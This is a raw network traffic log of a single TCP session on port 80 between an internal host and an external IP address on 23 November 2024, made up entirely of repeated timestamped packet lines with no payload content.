Nov 23, 2024 21:15:22.999041080 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.999092102 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.999901056 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.999946117 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.000315905 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.000356913 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.000868082 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.000945091 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.001051903 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.001101017 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.001873970 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.001929045 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.002007008 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.002062082 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.002804041 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.002846956 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.003247023 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.003329039 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.003829002 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.003870964 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.003884077 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.003918886 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.004825115 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.004904985 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.004910946 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.004981041 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.005759954 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.005804062 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.006031036 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.006084919 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.006724119 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.006778955 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.007266045 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.007375002 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.007695913 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.007746935 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.007781982 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.007864952 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.008678913 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.008730888 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.008924961 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.008970976 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.009651899 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.009716988 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.009900093 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.009951115 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.010623932 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.010691881 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.010720015 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.010773897 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.011610031 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.011670113 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.011723995 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.011780024 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.012614012 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.012655020 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.012836933 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.013092995 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.013555050 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.013623953 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.013751030 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.013813019 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.014626980 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.014720917 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.014724970 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.014791012 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.015507936 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.015562057 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.015743971 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.015794992 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.016478062 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.016530991 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.016748905 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.016797066 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.017591953 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.017644882 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.017699957 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.017755032 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.018408060 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.018476009 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.018511057 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.018524885 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.019512892 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.019532919 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.019598007 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.020353079 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.020395994 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.020410061 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.020442963 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.021348000 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.021428108 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.021447897 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.021481991 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.022473097 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.022524118 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.022587061 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.022645950 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.023257971 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.023322105 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.023432016 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.023494959 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.024333954 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.024369955 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.024391890 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.024415016 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.025371075 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.025410891 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.025660992 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.025711060 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.026303053 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.026360989 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.026426077 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.026473045 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.027170897 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.027218103 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.027554035 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.027595997 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.028119087 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.028197050 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.028242111 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.028296947 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.029094934 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.029166937 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.029392958 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.029489040 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.030054092 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.030107975 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.030563116 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.030635118 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.031333923 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.031388044 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.031496048 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.031539917 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.032408953 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.032464981 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.032524109 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.032605886 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.033005953 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.033080101 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.034020901 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.034080029 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.034173012 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.034220934 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.034276009 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.034326077 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.035022974 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.035084963 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.035089016 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.035132885 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.035981894 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.036039114 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.036083937 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.036154985 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.036870956 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.036923885 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.037215948 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.037273884 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.037914038 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.037960052 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.038410902 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.038465023 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.132731915 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.132797003 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.132832050 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.132888079 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.133197069 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.133249998 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.133373022 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.133420944 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.133460999 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.133512020 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.134331942 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.134385109 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.134463072 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.134510040 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.135281086 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.135328054 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.201144934 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.201206923 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.201281071 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.201337099 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.201561928 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.201606035 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.201781034 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.201833963 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.202070951 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.202116013 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.202712059 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.202760935 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.202840090 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.202883959 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.203710079 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.203756094 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.203893900 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.203941107 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.204636097 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.204684973 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.204761028 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.204806089 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.205634117 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.205679893 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.205754042 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.205799103 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.206676960 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.206733942 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.206876040 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.206923962 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.207547903 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.207607985 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.208055973 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.208221912 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.208520889 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.208560944 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.208806992 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.208846092 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.209506035 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.209549904 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.209790945 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.209829092 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.210510969 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.210565090 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.210612059 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.210655928 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.211424112 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.211467981 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.211568117 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.211612940 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.212352037 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.212400913 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.212842941 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.212878942 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.213337898 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.213378906 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.213980913 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.214019060 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.214324951 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.214365005 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.214766026 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.214802980 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.215279102 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.215321064 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.215672970 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.215717077 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.216219902 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.216263056 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.216314077 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.216358900 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.217175007 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.217221975 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.217391014 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.217437029 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.218210936 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.218250036 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.218276024 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.218311071 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.219127893 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.219171047 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.219285011 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.219326973 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.220082998 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.220129013 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.220782042 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.220823050 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.221069098 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.221111059 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.221740007 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.221787930 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.222054005 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.222065926 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.222099066 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.222119093 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.222969055 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.223027945 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.223150015 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.223191023 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.223949909 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.223994017 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.224133015 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.224174976 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.224921942 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.224961996 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.225145102 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.225184917 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.225907087 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.225946903 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.226047039 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.226094961 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.226845026 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.226891994 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.227041960 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.227082968 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.227808952 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.227849960 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.227948904 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.227988005 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.228789091 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.228823900 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.228952885 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.228987932 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.229821920 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.229870081 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.230196953 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.230237007 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.230703115 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.230743885 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.230990887 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.231034040 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.231671095 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.231712103 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.231800079 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.231837988 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.232630968 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.232669115 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.232772112 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.232820988 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.233603954 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.233648062 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.233902931 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.233953953 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.234599113 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.234647989 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.234810114 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.234852076 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.235523939 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.235563993 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.235672951 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.235718966 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.236505985 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.236552000 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.236620903 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.236665010 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.237457037 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.237500906 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.237783909 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.237826109 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.238435984 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.238477945 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.238600016 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.238643885 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.239398003 CET	80	49715	185.215.113.16	192.168.2.8
